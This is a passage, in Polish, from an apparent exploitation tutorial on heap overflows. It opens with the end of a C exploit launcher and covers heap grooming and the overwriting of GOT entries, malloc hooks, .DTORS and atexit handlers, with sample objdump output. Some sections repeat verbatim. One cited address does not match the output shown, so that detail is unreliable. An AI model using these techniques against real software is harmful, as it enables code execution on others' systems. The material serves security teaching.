fprintf(stderr, “[*] Size of enviroment array: %d\n”, i);

fprintf(stderr, “[*] Calling: %s\n\n”, exe[0]);

if (execve(exe[0], (char **)exe, (char **)ownenv))

{

fprintf(stderr, “Error executing %s\n”, exe[0]);

free(x);

exit(-1);

}

}
```

Zaawansowane wykorzystywanie przepełnienia sterty

Program ltrace jest darem niebios, gdy wykorzystuje się złożone sytuacje przepełnienia sterty. Patrząc na przepełnienie sterty, które jest umiarkowanie złożone, musisz przejść przez kilka nietrywialnych kroków:

1. Normalizuj stertę. Może to oznaczać po prostu połączenie się z procesem, jeśli rozwidla się i wywołuje execve, lub uruchamianie procesów za pomocą execve(), jeśli jest to lokalny exploit. Ważne jest, aby wiedzieć, jak na początku jest skonfigurowana sterta.

2. Skonfiguruj stos dla swojego wyczynu. Może to oznaczać wiele bezsensownych połączeń, aby wywołać funkcje malloc w odpowiednich rozmiarach i kolejności, aby sterta została skonfigurowana z korzyścią dla twojego exploita.

3. Przepełnij jedną lub więcej porcji. Pobierz program, aby wywołał funkcję malloc (lub kilka funkcji malloc), aby nadpisać jedno lub więcej słów. Następnie spraw, aby program wykonał jeden ze wskaźników do funkcji, które nadpisałeś.

Ważne jest, aby przestać myśleć o exploitach jako wymiennych. Każdy exploit ma unikalne środowisko, określone przez stan programu, rzeczy, które możesz z nim zrobić, oraz konkretny błąd lub błędy, które wykorzystujesz. Nie ograniczaj się do myślenia o programie dopiero po wykorzystaniu błędów. To, co robisz, zanim wywołasz błąd, jest równie ważne dla stabilności i sukcesu twojego exploita.

Co nadpisać

Generalnie postępuj zgodnie z tymi trzema strategiami:

1. Zastąp wskaźnik funkcji.

2. Nadpisz zestaw kodu, który znajduje się w zapisywalnym segmencie.

3. Jeśli piszesz dwa słowa, napisz kawałek kodu, a następnie nadpisz wskaźnik funkcji, aby wskazywał na ten kod. Ponadto można nadpisać zmienną logiczną (taką jak is_logged_in), aby zmienić przebieg programu.

Wpisy GOT

Użyj objdump -R, aby odczytać wskaźniki funkcji GOT z heap2:

```
[dave@www FORFUN]$ objdump -R ./heap2
```

./heap2: file format elf32-i386

DYNAMIC RELOCATION RECORDS

OFFSET TYPE VALUE

08049654 R_386_GLOB_DAT __gmon_start__

08049640 R_386_JUMP_SLOT malloc

08049644 R_386_JUMP_SLOT __libc_start_main

08049648 R_386_JUMP_SLOT printf

0804964c R_386_JUMP_SLOT free

08049650 R_386_JUMP_SLOT strcpy

Globalne wskaźniki funkcji

Wiele bibliotek, takich jak malloc.c, polega na globalnych wskaźnikach funkcji do manipulowania informacjami dotyczącymi debugowania, rejestrowania informacji lub innych często używanych funkcji. __free_hook, __malloc_hook i __realloc_hook są często przydatne w programach, które wywołują jedną z tych funkcji po wykonaniu nadpisania.

.DTORS

.DTORS to destruktory używane przez gcc przy wyjściu. W poniższym przykładzie możemy użyć 8049632c jako wskaźnika funkcji, gdy program wywołuje exit, aby uzyskać kontrolę:

[dave@www FORFUN]$ objdump -j .dtors -s heap2

heap2: file format elf32-i386

Contents of section .dtors:

8049628 ffffffff 00000000

Globalne wskaźniki funkcji

Wiele bibliotek, takich jak malloc.c, polega na globalnych wskaźnikach funkcji do manipulowania informacjami dotyczącymi debugowania, rejestrowania informacji lub innych często używanych funkcji. __free_hook, __malloc_hook i __realloc_hook są często przydatne w programach, które wywołują jedną z tych funkcji po wykonaniu nadpisania.

.DTORS

.DTORS to destruktory używane przez gcc przy wyjściu. W poniższym przykładzie możemy użyć 8049632c jako wskaźnika funkcji, gdy program wywołuje exit, aby uzyskać kontrolę:

[dave@www FORFUN]$ objdump -j .dtors -s heap2

heap2: format pliku elf32-i386

Zawartość sekcji .dtors:

8049628 ffffffff 00000000

Obsługa atexit

Zobacz wcześniejszą uwagę na temat znajdowania programów obsługi atexit w systemach bez symboli dla funkcji exit_funcs. Są one również wywoływane przy wyjściu z programu.

Wartości stosu

Zapisany adres zwrotny na stosie często znajduje się w przewidywalnym miejscu do lokalnego wykonania. Ponieważ jednak nie można przewidzieć ani kontrolować środowiska podczas zdalnego ataku, prawdopodobnie nie jest to najlepszy wybór.

Wniosek

Ponieważ większość przepełnień sterty uszkadza strukturę danych malloc() w celu uzyskania kontroli, wykonano pewne prace w obszarze ochronnych kanarków dla różnych implementacji malloc(), podobnych teoretycznie do kanarków stosowych, ale te nie zostały jeszcze przyjęte w większości malloc () implementacje (FreeBSD jest jedyną w chwili pisania tego tekstu, która ma na przykład taką prostą kontrolę). Nawet jeśli przepełnienia sterty staną się powszechne, niektóre przepełnienia sterty nie działają przez manipulację implementacja malloc(), a wiele programów nadal będzie wrażliwy.